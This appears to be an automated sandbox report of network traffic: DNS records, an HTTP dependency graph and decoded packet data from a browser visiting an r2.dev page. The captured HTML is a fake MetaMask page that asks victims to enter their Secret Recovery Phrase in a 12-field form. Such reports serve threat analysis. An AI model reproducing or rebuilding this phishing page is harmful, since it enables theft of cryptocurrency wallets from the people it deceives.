Sep 29, 2024 02:27:31.024544954 CEST	1.1.1.1	192.168.2.5	0xe116	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.024544954 CEST	1.1.1.1	192.168.2.5	0xe116	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.024643898 CEST	1.1.1.1	192.168.2.5	0x7375	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 02:27:31.138999939 CEST	1.1.1.1	192.168.2.5	0x115f	No error (0)	bestfilltype.netlify.app		35.156.224.161	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.138999939 CEST	1.1.1.1	192.168.2.5	0x115f	No error (0)	bestfilltype.netlify.app		3.72.140.173	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.840769053 CEST	1.1.1.1	192.168.2.5	0xad50	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.841190100 CEST	1.1.1.1	192.168.2.5	0xc032	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 02:27:32.887233019 CEST	1.1.1.1	192.168.2.5	0x25f9	No error (0)	gtomitsuka.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:32.887233019 CEST	1.1.1.1	192.168.2.5	0x25f9	No error (0)	gtomitsuka.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:32.887233019 CEST	1.1.1.1	192.168.2.5	0x25f9	No error (0)	gtomitsuka.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:32.887233019 CEST	1.1.1.1	192.168.2.5	0x25f9	No error (0)	gtomitsuka.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.252361059 CEST	1.1.1.1	192.168.2.5	0x4abf	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.252361059 CEST	1.1.1.1	192.168.2.5	0x4abf	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.252721071 CEST	1.1.1.1	192.168.2.5	0xb6ce	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 02:27:35.253038883 CEST	1.1.1.1	192.168.2.5	0xf964	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.253038883 CEST	1.1.1.1	192.168.2.5	0xf964	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.253038883 CEST	1.1.1.1	192.168.2.5	0xf964	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.253038883 CEST	1.1.1.1	192.168.2.5	0xf964	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:36.140014887 CEST	1.1.1.1	192.168.2.5	0xda80	No error (0)	gtomitsuka.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:36.140014887 CEST	1.1.1.1	192.168.2.5	0xda80	No error (0)	gtomitsuka.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:36.140014887 CEST	1.1.1.1	192.168.2.5	0xda80	No error (0)	gtomitsuka.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:36.140014887 CEST	1.1.1.1	192.168.2.5	0xda80	No error (0)	gtomitsuka.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:40.722438097 CEST	1.1.1.1	192.168.2.5	0x23a5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:40.722438097 CEST	1.1.1.1	192.168.2.5	0x23a5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:41.254137993 CEST	1.1.1.1	192.168.2.5	0xacac	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:27:41.254137993 CEST	1.1.1.1	192.168.2.5	0xacac	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:54.439228058 CEST	1.1.1.1	192.168.2.5	0xb29b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:27:54.439228058 CEST	1.1.1.1	192.168.2.5	0xb29b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:28:20.575541019 CEST	1.1.1.1	192.168.2.5	0x2049	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:28:20.575541019 CEST	1.1.1.1	192.168.2.5	0x2049	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:28:41.013962030 CEST	1.1.1.1	192.168.2.5	0xbd9e	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:28:41.013962030 CEST	1.1.1.1	192.168.2.5	0xbd9e	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:28:42.613970041 CEST	1.1.1.1	192.168.2.5	0x3f96	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:28:42.613970041 CEST	1.1.1.1	192.168.2.5	0x3f96	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:28:42.613970041 CEST	1.1.1.1	192.168.2.5	0x3f96	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev

https:

code.jquery.com

cdnjs.cloudflare.com

bestfilltype.netlify.app

gtomitsuka.github.io

fs.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	172.66.0.235	80	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 02:27:29.158457041 CEST	468	OUT	GET /index.html HTTP/1.1 Host: pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 29, 2024 02:27:29.626157999 CEST	524	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 29 Sep 2024 00:27:29 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 29 Sep 2024 01:27:29 GMT Location: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ca7d905ba878c6f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 29, 2024 02:28:14.631567001 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	162.159.140.237	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:30 UTC	696	OUT	GET /index.html HTTP/1.1 Host: pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:30 UTC	283	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:27:30 GMT Content-Type: text/html Content-Length: 65293 Connection: close Accept-Ranges: bytes ETag: "dec053eb413b1b167b8d00f6f60d0c76" Last-Modified: Wed, 17 Jul 2024 10:51:58 GMT Server: cloudflare CF-RAY: 8ca7d90a4c0c1971-EWR
2024-09-29 00:27:30 UTC	1086	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 65 74 61 4d 61 73 6b 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 2d 6e 65 77 73 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MetaMask</title> <meta name="googlebot" content="noindex"> <meta name="googlebot-news"
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 77 67 68 74 40 33 30 30 3b 34 30 30 3b 35 30 30 3b 36 30 30 3b 37 30 30 3b 38 30 30 3b 39 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 0d 0a 0d 0a 2a 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 7d 0d 0a 62 6f 64 79 7b 0d 0a 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 6f 70 70 69 6e 73 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 7d 0d 0a 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 Data Ascii: 'https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap');*{ margin: 0; padding: 0;}body{ box-sizing: border-box; font-family: 'Poppins', sans-serif;}button,input, select{ font-family: i
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 73 6c 61 74 65 59 28 2d 33 70 78 29 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 6f 72 6d 2d 62 6f 78 2d 6d 61 69 6e 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 67 72 69 64 3b 0d 0a 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 20 72 65 70 65 61 74 28 33 2c 20 31 66 72 29 3b 0d 0a 20 20 67 72 69 64 2d 67 61 70 3a 20 32 30 70 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 32 30 70 78 20 31 30 70 78 3b 0d 0a 0d 0a 7d 0d 0a 2e 69 6e 70 75 74 2d 66 6f 72 6d 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 69 6e 70 75 74 2d 66 6f 72 6d 20 69 6e 70 75 74 7b 0d 0a 20 20 77 69 64 74 68 3a 20 38 30 25 3b 0d Data Ascii: slateY(-3px); margin-left: 4px;}.form-box-main{ display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 20px; margin: 20px 10px;}.input-form{ display: flex; align-items: center;}.input-form input{ width: 80%;
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 72 65 64 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 7d 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 6c 6f 61 64 38 20 7b 0d 0a 20 20 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0d 0a 20 20 7d 0d 0a 20 20 31 30 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6c Data Ascii: color: red; font-size: 14px;}@-webkit-keyframes load8 { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); }}@keyframes l
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 73 2d 62 6f 78 20 20 69 6d 67 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 30 25 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 32 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 6d 65 73 73 61 67 65 2d 62 6f 78 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 2d 74 65 78 74 20 70 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 31 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 32 20 69 6d 67 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 68 65 61 64 2d 74 65 78 74 2d 70 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 Data Ascii: s-box img{ width: 90%; } .icon2{ display: block; } .message-box{ margin: 0; } .icon-text p{ font-size: 13px; } .icon1{ display: none; } .icon2 img{ width: 40px; } .head-text-p{ font-s
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 6c 65 63 74 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 5f 5f 73 65 6c 65 63 74 22 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 61 6d 22 3e 45 6e 67 6c 69 73 68 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 61 72 22 3e d8 a7 d9 84 d8 b9 d8 b1 d8 a8 d9 8a d8 a9 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 62 67 22 3e d0 b1 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 62 6e 22 3e e0 a6 ac e0 a6 be e0 a6 82 e0 a6 b2 e0 a6 be 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 63 61 22 3e 43 61 74 61 6c c3 a0 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e Data Ascii: <select class="dropdown__select"><option value="am">English</option><option value="ar"></option><option value="bg"></option><option value="bn"></option><option value="ca">Catal</option><option
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6d 73 22 3e 4d 61 6c 61 79 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 4e 65 64 65 72 6c 61 6e 64 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6f 22 3e 4e 6f 72 77 65 67 69 61 6e 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 68 22 3e 50 69 6c 69 70 69 6e 6f 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 6c 22 3e 50 6f 6c 73 6b 69 65 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 74 22 3e 50 6f 72 74 75 67 75 c3 aa 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 74 5f 42 52 22 3e 50 6f 72 74 75 67 75 c3 aa 73 20 28 42 72 61 7a 69 Data Ascii: option value="ms">Malay</option><option value="nl">Nederlands</option><option value="no">Norwegian</option><option value="ph">Pilipino</option><option value="pl">Polskie</option><option value="pt">Portugus</option><option value="pt_BR">Portugus (Brazi
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 63 6f 76 65 72 79 20 50 68 72 61 73 65 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 2d 74 65 78 74 2d 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 4d 65 74 61 4d 61 73 6b 20 63 61 6e 6e 6f 74 20 72 65 63 6f 76 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 20 57 65 20 77 69 6c 6c 20 75 73 65 20 79 6f 75 72 20 3c 2f 62 72 3e 20 53 65 63 72 65 74 20 52 65 63 6f 76 65 72 79 20 50 68 72 61 73 65 20 74 6f 20 76 61 6c 69 64 61 74 65 20 79 6f 75 72 20 6f 77 6e 65 72 73 68 69 70 2c 20 72 65 73 74 6f 72 65 20 79 6f 75 72 20 77 61 6c 6c 65 74 20 61 6e 64 20 73 65 74 20 75 70 20 61 20 6e 65 77 20 70 61 73 73 77 Data Ascii: covery Phrase</h1> </div> <div class="head-text-p"> <p>MetaMask cannot recover your password. We will use your </br> Secret Recovery Phrase to validate your ownership, restore your wallet and set up a new passw
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 65 78 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 59 6f 75 20 63 61 6e 20 70 61 73 74 65 20 79 6f 75 72 20 65 6e 74 69 72 65 20 73 65 63 72 65 74 20 72 65 63 6f 76 65 72 79 20 70 68 72 61 73 65 20 69 6e 74 6f 20 61 6e 79 20 66 69 65 6c 64 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 2d 20 46 6f 72 6d 31 32 20 2d 2d 2d 2d 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 Data Ascii: </div> <div class="icon-text"> <p>You can paste your entire secret recovery phrase into any field</p> </div> </div> ...- Form12 ------> <form act
2024-09-29 00:27:30 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 22 3e 34 2e 20 3c 2f 6c 61 62 65 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6c 61 73 73 3d 22 77 6f 72 64 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 66 69 6c 6c 74 79 70 65 2e 6e 65 74 6c 69 66 79 2e 61 70 70 2f 65 79 65 2d 63 6c 6f 73 65 2e 70 6e 67 22 20 61 6c 74 3d 22 65 79 65 2d 63 6c 6f 73 65 22 20 63 6c 61 73 73 3d 22 65 79 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Data Ascii: <label for="">4. </label> <input type="password" class="word-12"> <img src="https://bestfilltype.netlify.app/eye-close.png" alt="eye-close" class="eye"> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	151.101.194.137	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:31 UTC	615	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:31 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3345860 Date: Sun, 29 Sep 2024 00:27:31 GMT X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 146, 0 X-Timer: S1727569652.578309,VS0,VE1 Vary: Accept-Encoding
2024-09-29 00:27:31 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-09-29 00:27:31 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
